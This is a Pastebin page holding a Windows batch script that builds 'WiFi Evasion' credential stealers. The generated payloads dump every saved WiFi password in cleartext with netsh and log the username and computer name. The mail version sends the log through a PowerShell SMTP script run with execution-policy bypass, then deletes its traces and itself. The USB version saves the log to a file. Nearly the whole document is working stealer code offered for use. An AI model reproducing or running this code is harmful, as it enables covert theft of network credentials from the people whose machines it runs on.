Advertisement
FlyFar

WiFi-Evasion-[Builder].BAT

Mar 9th, 2023 (edited)
1,154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 10.45 KB | Cybersecurity | 0 0
  1. @ECHO OFF & SETLOCAL ENABLEDELAYEDEXPANSION
  2. TITLE WiFi Evasion [BUILDER] - LESiO
  3. MODE CON COLS=70 LINES=16
  4. COLOR 0B
  5. :A
  6.     ECHO  _ _ _ _____ _____ _____    _____ _____ _____ _____ _____ _____ _____
  7.     ECHO ^| ^| ^| ^|     ^|   __^|     ^|  ^|   __^|  ^|  ^|  _  ^|   __^|     ^|     ^|   ^| ^|
  8.     ECHO ^| ^| ^| ^|-   -^|   __^|-   -^|  ^|   __^|  ^|  ^|     ^|__   ^|-   -^|  ^|  ^| ^| ^| ^|
  9.     ECHO ^|_____^|_____^|__^|  ^|_____^|  ^|_____^|\___/^|__^|__^|_____^|_____^|_____^|_^|___^|
  10.     ECHO WiFi Evasion By LESiO - https://github.com/FreeLesio/WiFi-Evasion    
  11.     ECHO ----------------------------------------------------------------------
  12.     ECHO.
  13.     ECHO Choose Which Version Of WiFi Evasion You Want To Build.
  14.     ECHO.
  15.     ECHO 1) Mail Version (Requires Connection)
  16.     ECHO 2) USB Version
  17.     CHOICE /C 12>NUL
  18.     IF ERRORLEVEL 2 GOTO USB
  19.     IF ERRORLEVEL 1 GOTO MAIL
  20. SET O="WiFi-Evasion-[MAIL.-VERSION].BAT"
  21. SET N="WiFi-Evasion-[MAIL.-VERSION]-TEMP.BAT"
  22. :MAIL
  23.     CLS
  24.     TITLE WiFi Evasion [MAIL BUILDER] - LESiO [1/5]
  25.     ECHO  _ _ _ _____ _____ _____    _____ _____ _____ _____ _____ _____ _____
  26.     ECHO ^| ^| ^| ^|     ^|   __^|     ^|  ^|   __^|  ^|  ^|  _  ^|   __^|     ^|     ^|   ^| ^|
  27.     ECHO ^| ^| ^| ^|-   -^|   __^|-   -^|  ^|   __^|  ^|  ^|     ^|__   ^|-   -^|  ^|  ^| ^| ^| ^|
  28.     ECHO ^|_____^|_____^|__^|  ^|_____^|  ^|_____^|\___/^|__^|__^|_____^|_____^|_____^|_^|___^|
  29.     ECHO WiFi Evasion By LESiO - https://github.com/FreeLesio/WiFi-Evasion    
  30.     ECHO ----------------------------------------------------------------------
  31.     ECHO.
  32.     SET /P MailFrom="Sender Mail : "
  33.     TITLE WiFi Evasion [MAIL BUILDER] - LESiO [2/5]
  34.     SET /P MailTo="Receiver Mail : "
  35.     TITLE WiFi Evasion [MAIL BUILDER] - LESiO [3/5]
  36.     SET /P SMTPServer="SMTP Server : "
  37.     TITLE WiFi Evasion [MAIL BUILDER] - LESiO [4/5]
  38.     SET /P CredUsername="SMTP Username : "
  39.     TITLE WiFi Evasion [MAIL BUILDER] - LESiO [5/5]
  40.     SET /P CredPassword="SMTP Password : "
  41.     (
  42.         ECHO @ECHO OFF ^& SETLOCAL ENABLEDELAYEDEXPANSION
  43.         ECHO TITLE WiFi Evasion [MAIL] - LESiO
  44.         ECHO MODE CON COLS^=18 LINES^=1
  45.         ECHO CLS ^& COLOR 05
  46.         ECHO SET C^=0
  47.         ECHO SET L^=0
  48.         ECHO CALL :S
  49.         ECHO CALL :L
  50.         ECHO SET O^=%%RANDOM%%%%RANDOM%%%%RANDOM%%
  51.         ECHO SET O2^=%%RANDOM%%%%RANDOM%%%%RANDOM%%
  52.         ECHO SET PASSWORDLOGS^=%%TEMP%%\%%O%%.TXT
  53.         ECHO SET MAILSCRIPT^=%%TEMP%%\%%O2%%.PS1
  54.         ECHO     ECHO WiFi Evasion - LESiO ^>^> %%PASSWORDLOGS%%
  55.         ECHO     ECHO^( ^>^> %%PASSWORDLOGS%%
  56.         ECHO     ECHO DATE : %%DATE%% %%TIME%% ^>^> %%PASSWORDLOGS%%
  57.         ECHO     ECHO USERNAME : %%USERNAME%% ^>^> %%PASSWORDLOGS%%
  58.         ECHO     ECHO COMPUTER : %%COMPUTERNAME%% ^>^> %%PASSWORDLOGS%%
  59.         ECHO     ECHO PROCESSOR ARCHITECTURE : %%PROCESSOR_ARCHITECTURE%% ^>^> %%PASSWORDLOGS%%
  60.         ECHO     ECHO^( ^>^> %%PASSWORDLOGS%%
  61.         ECHO     ECHO [N][SSID] ^=^=^=^=^^^> [PASSWORD] ^>^>%%PASSWORDLOGS%%
  62.         ECHO     ECHO^( ^>^> %%PASSWORDLOGS%%
  63.         ECHO FOR /F "SKIP=2 DELIMS=: TOKENS=2" %%%%A IN ^(^'NETSH WLAN SHOW PROFILES^'^) DO ^(
  64.         ECHO     IF NOT "%%%%A"^=^="" ^(
  65.         ECHO         SET "SSID=%%%%A"
  66.         ECHO         SET "SSID=^!SSID:~1^!"
  67.         ECHO         CALL :P "^!SSID^!"
  68.         ECHO     ^)
  69.         ECHO ^)
  70.         ECHO TYPE %%PASSWORDLOGS%%
  71.         ECHO FOR /F "TOKENS^=* DELIMS^=" %%%%X IN ^(%%PASSWORDLOGS%%^) DO SET BODY^=^^!BODY^^!%%%%X
  72.         ECHO     ECHO $MailFrom ^= "%MailFrom%" ^>^> %%MAILSCRIPT%%
  73.         ECHO     ECHO $MailTo ^= "%MailTo%" ^>^> %%MAILSCRIPT%%
  74.         ECHO     ECHO $Subject ^= "WiFi Evasion - %%USERNAME%%" ^>^> %%MAILSCRIPT%%
  75.         ECHO     ECHO $Body ^= "%%BODY%%" ^>^> %%MAILSCRIPT%%
  76.         ECHO     ECHO $SMTPServer ^= "%SMTPServer%" ^>^> %%MAILSCRIPT%%
  77.         ECHO     ECHO $SMTPClient ^= New-Object Net.Mail.SMTPClient^($SMTPServer^, 587^) ^>^> %%MAILSCRIPT%%
  78.         ECHO     ECHO $SMTPClient.EnableSSL ^= $True ^>^> %%MAILSCRIPT%%
  79.         ECHO     ECHO $SMTPClient.Credentials ^= New-Object System.Net.NetworkCredential^("%CredUsername%"^, "%CredPassword%"^)^; ^>^> %%MAILSCRIPT%%
  80.         ECHO     ECHO $SMTPClient.Send^($MailFrom^, $MailTo^, $Subject^, $Body^) ^>^> %%MAILSCRIPT%%
  81.         ECHO     START POWERSHELL.EXE -EXECUTIONPOLICY BYPASS -FILE "%%MAILSCRIPT%%"
  82.         ECHO TIMEOUT /T 5
  83.         ECHO DEL %%MAILSCRIPT%%
  84.         ECHO DEL %%PASSWORDLOGS%%
  85.         ECHO ^(GOTO^) 2^>NUL ^& DEL "%%~F0"
  86.         ECHO :P
  87.         ECHO SET "NAME=%%1"
  88.         ECHO SET ^"NAME^=^^!NAME:"^=^!^"
  89.         ECHO SET "PASSWORD="
  90.         ECHO FOR /F "DELIMS=: TOKENS=2" %%%%A IN ^(^'NETSH WLAN SHOW PROFILES %%1 KEY^^^=CLEAR ^^^|FIND /I "CONT"^'^) DO ^(
  91.         ECHO     SET "PASSWORD=%%%%A"
  92.         ECHO     SET /A C+^=1
  93.         ECHO ^)
  94.         ECHO IF DEFINED PASSWORD ^(
  95.         ECHO     SET PASSWORD^=^^!PASSWORD:~1^^!
  96.         ECHO     ECHO [^^!C^^!][^^!NAME^^!] ^=^=^=^=^^^^^> [^^!PASSWORD^^!] ^>^> "%%PASSWORDLOGS%%"
  97.         ECHO ^) ELSE ^(
  98.         ECHO     SET /A C+^=1
  99.         ECHO ECHO [^^!C^^!][^^!NAME^^!] EMPTY PASSWORD ^>^> "%%PASSWORDLOGS%%"
  100.         ECHO ^)
  101.         ECHO EXIT /B
  102.         ECHO :S
  103.         ECHO PROMPT $G
  104.         ECHO FOR /F "DELIMS=." %%%%A IN ^(^'"PROMPT $H. & FOR %%%%B IN (1) DO REM"^'^) DO SET "BS=%%%%A"
  105.         ECHO EXIT /B
  106.         ECHO :C
  107.         ECHO SET NL^=%%3
  108.         ECHO IF NOT DEFINED NL ECHO REQUIRES THIRD ARGUMENT ^& PAUSE ^> NUL ^& GOTO :EOF
  109.         ECHO IF %%3 ^=^= 0 ^(
  110.         ECHO     ^<NUL SET /P ".=%%BS%%"^>%%2 ^& FINDSTR /V /A:%%1 /R "^$" %%2 NUL ^& DEL %%2 2^>^&1 ^& GOTO :EOF
  111.         ECHO ^) ELSE IF %%3 ^=^= 1 ^(
  112.         ECHO     ECHO %%BS%%^>%%2 ^& FINDSTR /V /A:%%1 /R "^$" %%2 NUL ^& DEL %%2 2^>^&1 ^& GOTO :EOF
  113.         ECHO ^)
  114.         ECHO EXIT /B
  115.         ECHO :L
  116.         ECHO FOR /F "SKIP=2 DELIMS=: TOKENS=2" %%%%A IN ^(^'NETSH WLAN SHOW PROFILES^'^) DO ^(
  117.         ECHO     IF NOT "%%%%A"^=^="" ^(
  118.         ECHO         SET /A L+^=1
  119.         ECHO     ^)
  120.         ECHO ^)
  121.         ECHO SET /A L^=^^!L^^! + 10
  122.         ECHO EXIT /B
  123.     )>%O%
  124. COPY %O% %N%
  125. >"TEMP.~B64" ECHO(//4mY2xzDQo=
  126. CERTUTIL.EXE -F -DECODE "TEMP.~B64" "%N%"
  127. COPY "%N%" /B + "%O%" /B
  128. DEL "TEMP.~B64"
  129. DEL %O%
  130. RENAME %N% %O%
  131. CLS
  132. ECHO  _ _ _ _____ _____ _____    _____ _____ _____ _____ _____ _____ _____
  133. ECHO ^| ^| ^| ^|     ^|   __^|     ^|  ^|   __^|  ^|  ^|  _  ^|   __^|     ^|     ^|   ^| ^|
  134. ECHO ^| ^| ^| ^|-   -^|   __^|-   -^|  ^|   __^|  ^|  ^|     ^|__   ^|-   -^|  ^|  ^| ^| ^| ^|
  135. ECHO ^|_____^|_____^|__^|  ^|_____^|  ^|_____^|\___/^|__^|__^|_____^|_____^|_____^|_^|___^|
  136. ECHO WiFi Evasion By LESiO - https://github.com/FreeLesio/WiFi-Evasion    
  137. ECHO ----------------------------------------------------------------------
  138. ECHO.
  139. TITLE WiFi Evasion [MAIL BUILDER] - LESiO [OK]
  140. COLOR 0A
  141. ECHO File Generated Successfully ^^!
  142. ECHO Output : WiFi-Evasion-[MAIL.-VERSION].BAT
  143. PAUSE>NUL
  144. GOTO :EOF
  145. :USB
  146.     CLS
  147.     TITLE WiFi Evasion [USB BUILDER] - LESiO
  148.     ECHO  _ _ _ _____ _____ _____    _____ _____ _____ _____ _____ _____ _____
  149.     ECHO ^| ^| ^| ^|     ^|   __^|     ^|  ^|   __^|  ^|  ^|  _  ^|   __^|     ^|     ^|   ^| ^|
  150.     ECHO ^| ^| ^| ^|-   -^|   __^|-   -^|  ^|   __^|  ^|  ^|     ^|__   ^|-   -^|  ^|  ^| ^| ^| ^|
  151.     ECHO ^|_____^|_____^|__^|  ^|_____^|  ^|_____^|\___/^|__^|__^|_____^|_____^|_____^|_^|___^|
  152.     ECHO WiFi Evasion By LESiO - https://github.com/FreeLesio/WiFi-Evasion    
  153.     ECHO ----------------------------------------------------------------------
  154.     ECHO.
  155.     (
  156.         ECHO @ECHO OFF ^& SETLOCAL ENABLEDELAYEDEXPANSION
  157.         ECHO TITLE WiFi Evasion [USB] - LESiO
  158.         ECHO MODE CON COLS^=18 LINES^=1
  159.         ECHO CLS ^& COLOR 05
  160.         ECHO SET C^=0
  161.         ECHO SET L^=0
  162.         ECHO CALL :S
  163.         ECHO CALL :L
  164.         ECHO SET PASSWORDLOGS^=WiFi-Evasion-[USB.-Version].TXT
  165.         ECHO     ECHO WiFi Evasion [USB. VERSION] - LESiO ^>^> %%PASSWORDLOGS%%
  166.         ECHO     ECHO^( ^>^> %%PASSWORDLOGS%%
  167.         ECHO     ECHO DATE : %%DATE%% %%TIME%% ^>^> %%PASSWORDLOGS%%
  168.         ECHO     ECHO USERNAME : %%USERNAME%% ^>^> %%PASSWORDLOGS%%
  169.         ECHO     ECHO COMPUTER : %%COMPUTERNAME%% ^>^> %%PASSWORDLOGS%%
  170.         ECHO     ECHO PROCESSOR ARCHITECTURE : %%PROCESSOR_ARCHITECTURE%% ^>^> %%PASSWORDLOGS%%
  171.         ECHO     ECHO^( ^>^> %%PASSWORDLOGS%%
  172.         ECHO     ECHO [N][SSID] ^=^=^=^=^^^> [PASSWORD] ^>^>%%PASSWORDLOGS%%
  173.         ECHO     ECHO^( ^>^> %%PASSWORDLOGS%%
  174.         ECHO FOR /F "SKIP=2 DELIMS=: TOKENS=2" %%%%A IN ^(^'NETSH WLAN SHOW PROFILES^'^) DO ^(
  175.         ECHO     IF NOT "%%%%A"^=^="" ^(
  176.         ECHO         SET "SSID=%%%%A"
  177.         ECHO         SET "SSID=^!SSID:~1^!"
  178.         ECHO         CALL :P "^!SSID^!"
  179.         ECHO     ^)
  180.         ECHO ^)
  181.         ECHO :P
  182.         ECHO SET "NAME=%%1"
  183.         ECHO SET ^"NAME^=^^!NAME:"^=^!^"
  184.         ECHO SET "PASSWORD="
  185.         ECHO FOR /F "DELIMS=: TOKENS=2" %%%%A IN ^(^'NETSH WLAN SHOW PROFILES %%1 KEY^^^=CLEAR ^^^|FIND /I "CONT"^'^) DO ^(
  186.         ECHO     SET "PASSWORD=%%%%A"
  187.         ECHO     SET /A C+^=1
  188.         ECHO ^)
  189.         ECHO IF DEFINED PASSWORD ^(
  190.         ECHO     SET PASSWORD^=^^!PASSWORD:~1^^!
  191.         ECHO     ECHO [^^!C^^!][^^!NAME^^!] ^=^=^=^=^^^^^> [^^!PASSWORD^^!] ^>^> "%%PASSWORDLOGS%%"
  192.         ECHO ^) ELSE ^(
  193.         ECHO     SET /A C+^=1
  194.         ECHO ECHO [^^!C^^!][^^!NAME^^!] EMPTY PASSWORD ^>^> "%%PASSWORDLOGS%%"
  195.         ECHO ^)
  196.         ECHO EXIT /B
  197.         ECHO :S
  198.         ECHO PROMPT $G
  199.         ECHO FOR /F "DELIMS=." %%%%A IN ^(^'"PROMPT $H. & FOR %%%%B IN (1) DO REM"^'^) DO SET "BS=%%%%A"
  200.         ECHO EXIT /B
  201.         ECHO :C
  202.         ECHO SET NL^=%%3
  203.         ECHO IF NOT DEFINED NL ECHO REQUIRES THIRD ARGUMENT ^& PAUSE ^> NUL ^& GOTO :EOF
  204.         ECHO IF %%3 ^=^= 0 ^(
  205.         ECHO     ^<NUL SET /P ".=%%BS%%"^>%%2 ^& FINDSTR /V /A:%%1 /R "^$" %%2 NUL ^& DEL %%2 2^>^&1 ^& GOTO :EOF
  206.         ECHO ^) ELSE IF %%3 ^=^= 1 ^(
  207.         ECHO     ECHO %%BS%%^>%%2 ^& FINDSTR /V /A:%%1 /R "^$" %%2 NUL ^& DEL %%2 2^>^&1 ^& GOTO :EOF
  208.         ECHO ^)
  209.         ECHO EXIT /B
  210.         ECHO :L
  211.         ECHO FOR /F "SKIP=2 DELIMS=: TOKENS=2" %%%%A IN ^(^'NETSH WLAN SHOW PROFILES^'^) DO ^(
  212.         ECHO     IF NOT "%%%%A"^=^="" ^(
  213.         ECHO         SET /A L+^=1
  214.         ECHO     ^)
  215.         ECHO ^)
  216.         ECHO SET /A L^=^^!L^^! + 10
  217.         ECHO EXIT /B
  218.     )>WiFi-Evasion-[USB.-VERSION].BAT
  219. COLOR 0A
  220. TITLE WiFi Evasion [USB BUILDER] - LESiO [OK]
  221. ECHO File Generated Successfully ^^!
  222. ECHO Output : WiFi-Evasion-[USB.-VERSION].BAT
  223. PAUSE>NUL
  224. GOTO :EOF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement